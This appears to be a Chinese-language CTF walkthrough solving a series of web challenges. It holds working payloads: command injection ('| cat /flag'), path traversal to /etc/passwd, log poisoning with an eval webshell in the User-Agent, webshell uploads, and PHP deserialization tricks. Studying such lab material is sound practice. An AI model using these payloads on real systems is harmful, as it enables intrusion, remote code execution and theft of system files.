商师一日游

过关爽

/atc1acrd.html

在源码

/atc2cnzd.php

曲奇-->cookie,传值

/atc3oklm.php

让我们去devtool就是终端里面找东西,在网络里面找到一个包

/atc4zztg.php()

叫我们访问robotx.txt

/atc5uupl.php
 $a=$_GET['hhh'];
        if(preg_match('/^php$/im', $a)){
            if(preg_match('/^php$/i', $a)){
                echo 'hacker';
            }
            else{
                echo xxxxxxxxxxx;
            }
        }
        else{
            echo 'nonononono';
        }
第一层正则 /^php$/im
i: 不区分大小写(如 PhP 也能匹配)。
m: 多行模式,^ 和 $ 匹配每行的开头和结尾。
条件:输入的字符串中存在至少一行完全等于 php(不区分大小写)。
第二层正则 /^php$/i
没有 m 修饰符,要求整个字符串严格等于 php(不区分大小写)。

构造一个包含 php 的行,同时在字符串中添加其他内容

?hhh=php%0Aanything

%0A是换行符的URL编码

/atc6ertg.php

web前端,把disabled属性删掉,再点击

给了webshell

比较麻烦

连蚁剑,找到最后一片

My Blog

只能点击Github

给了图片,还有用户名和密码,猜测要登入

扫出个登陆文件,输入即可

RceMe

<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
    system($command);
} else {
    print("你小子干什么呢?");
}

主要限制了五个字符

?com=ls /
?com=cat /flag
?com=cat /f*
?com=nl /f*

全部>5字符

?com=nl *

显示了当前目录所有文件内容,但是flag不在当前目录

用/显示根目录下所有内容

?com=nl /*

还可以拼接,目前不太会

ezGame

bp抓包,改分数,直接乱按运气好也可以

baby rce

<?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);
$token = false;
if(isset($param1) && isset($param2)){
    if(sha1($param1) == sha1($param2)){
        $token = true;
        echo "Level 1 pass\n";
    }
}
class TYctf{
    public $person = 20;
    public $computer_number = 30;
    function getNumber(){
        if(isset($this->person)) {
            echo $this->person;
        }
    }
    function isFullUse(){
        if($this->person != $this->computer_number){
            echo "computer is lacking !!!\n";
        }
        else{
            echo "computer is enough !!!\n";
        }
    }
    static function getKey(){
        include ("flag.php");
        echo "Level 2 pass\n";
        echo "You are winner, this is your reward: \n";
        echo $flag;
    }
}
if($token){
    call_user_func($_POST['payload']);
}
?>

1.绕过 SHA1 弱比较

if(isset($param1) && isset($param2)){
    if(sha1($param1) == sha1($param2)){
        $token = true;
        echo "Level 1 pass\n";
    }
}
GET:?param1[]=a&param2[]=b

2.调用 TYctf::getKey()

 static function getKey(){
        include ("flag.php");
        echo "Level 2 pass\n";
        echo "You are winner, this is your reward: \n";
        echo $flag;
    }
    if($token){
    call_user_func($_POST['payload']);
}

可以直接通过 call_user_func 直接调用静态方法 getKey()

POST:payload=TYctf::getKey

Through

查看源代码,好像可以任意文件读取

尝试目录穿越

可能过滤了../

?file=....//....//....//etc/passwd
?file=....//....//....//flag
?file=..././..././..././flag

Ping

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    
    if (strpos($ip, ';') !== false) {
        die('Hacker detected!');
    }
    
    system("ping -c 1 " . $ip);
} else {
    
    highlight_file(__FILE__);
}
?>

只过滤了;用|代替即可

?ip=127.0.0.1 | cat /flag

eeaassyy

禁用了按键

1.curl读取网页即可
2.url前面加上view-source:
3.先点出提示框,再按f12

无参之舞

bp抓包看一下

发现用户名:sqctf,爆破

密码:1q2w3e4r

重定向了,结合题目“无参**”,

var_dump()print_f配合其他函数

var_dump() 是一个用于 调试输出变量详细信息 的函数

scandir() 函数用于扫描目录并获取其中的文件和目录列表

GET:?exp=var_dump(scandir('./'));//用于扫描当前目录
GET:?exp=var_dump(scandir('/'));//用于扫描根目录
GET:?exp=print_r(scandir('./'));

一个个尝试即可,f1ag.php

?exp=var_dump(readfile('f1ag.php'));
?exp=var_dump(file_get_contents('f1ag.php'));
?exp=print_r(readfile('f1ag.php'));

小小查询系统

先不尝试手工注入了

Are you from SQNU?

这里有点懵,点开上方的按钮后

提示我们POST传值tyctf,后面就是正常考查请求头

baby include

<?php
if(isset($_GET['look'])){
    // Great, it's the file inclusion master, we have a save !!!
    $look = $_GET['look'];
    $look = str_replace("php", "!!!", $look);
    $look = str_replace("data", "!!!", $look);
    $look = str_replace("filter", "!!!", $look);
    $look = str_replace("input", "!!!", $look);
    include($look);
}else{
    highlight_file(__FILE__);
}
?>

这段PHP代码首先检查是否存在GET参数look。如果存在,代码会替换look参数中的phpdatafilterinput!!!,然后尝试包含该文件。如果不存在look参数,则高亮显示当前文件内容。

这里没有过滤file,可以用file://伪协议查看文件

?look=file:///etc/passwd

查看日志

?look=file:///var/log/nginx/access.log

我们直接日志注入,在bp抓包,在请求头中加入一句话代码

GET /?look=file:///var/log/nginx/access.log HTTP/1.1
User-Agent:<?php @eval($_POST['a']);?>

在直接rce时没有在根目录下发现flag,直接蚁剑

Input a number

<?php

include("flag.php");
highlight_file(__FILE__);

/**
 * 处理用户输入的sqctf参数并验证数值
 * 
 * 流程说明:
 * 1. 检查是否存在sqctf参数
 * 2. 先进行弱类型匹配校验(==)
 * 3. 再进行intval转换后的严格校验
 */
if(isset($_GET['sqctf'])){
    $num = $_GET['sqctf'];
    
    /* 直接匹配114514会触发终止(弱类型比较)*/
    if($num==114514){
        die("逸一时, 误一世!");
    }
    
    /* 
    关键校验逻辑:
    - 使用intval自动进制转换(base=0)
    - 允许通过十六进制/八进制等格式绕过第一个校验
    - 成功匹配将输出flag,否则显示转换后的数值
    */
    if(intval($num,0)==114514){
        echo $flag;
    }else{
        echo "看看你输入的数字: ".intval($num,0);
    }
}

?>

可以用浮点数或者自然常数

?sqctf=114514.1
?sqctf=114514e1

Upload_Level1

前端验证,只能上传.jpg|.png|.gif类型的文件,可以抓包将含有木马的jpg结尾的文件改为php结尾,蚁剑连接即可

Upload_Level2

只允许上传JPEG或PNG图片,也可以抓包将含有木马的png结尾的文件改为php结尾,蚁剑连接即可

<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
    $black_list=array("flag","php");
    return str_replace($black_list,"stop",$payload);
}
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
    }
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
    echo "逃出来了, 恭喜恭喜<br>";
    echo $flag;
}
?>
  1. 目标: 让 unserialize() 函数执行后,得到的 $profile 对象的 pswd 属性等于字符串 'escaping'。
  2. 障碍: filter() 函数会将用户输入 ($payload) 中的 "flag" 和 "php" 替换成 "stop"。
  3. 关键点: 替换操作改变了字符串的长度。"php" (3个字符) 被替换成 "stop" (4个字符),长度增加了
<?php
class test {
    public $user = '';
    public $pswd = 'escaping';
}

$payload = serialize(new test());
echo ($payload);
?>
?payload=O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}

千查万别